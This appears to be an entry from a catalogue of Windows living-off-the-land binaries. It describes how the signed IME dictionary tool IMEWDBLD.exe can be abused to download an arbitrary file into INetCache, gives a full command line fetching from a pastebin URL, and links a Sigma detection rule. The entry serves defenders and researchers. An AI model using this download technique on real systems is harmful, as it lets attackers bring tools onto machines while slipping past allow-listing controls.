.. /IMEWDBLD.exe

Download (INetCache)

Microsoft IME Open Extended Dictionary Module

Paths:
C:\Windows\System32\IME\SHARED\IMEWDBLD.exe

Resources:
* https://twitter.com/notwhickey/status/1367493406835040265

Acknowledgements:
* Wade Hickey (@notwhickey)

Detections:
* Sigma:
https://github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/network_connection/net_connection_win_imewdbld.yml

Download

IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to INetCache.

```
C:\Windows\System32\IME\SHARED\IMEWDBLD.exe https://pastebin.com/raw/tdyShwLw
```

Use case: Download file from Internet
Privileges required: User
Operating systems: Windows 10, Windows 11
ATT&CK® technique: T1105
Tags: Download: INetCache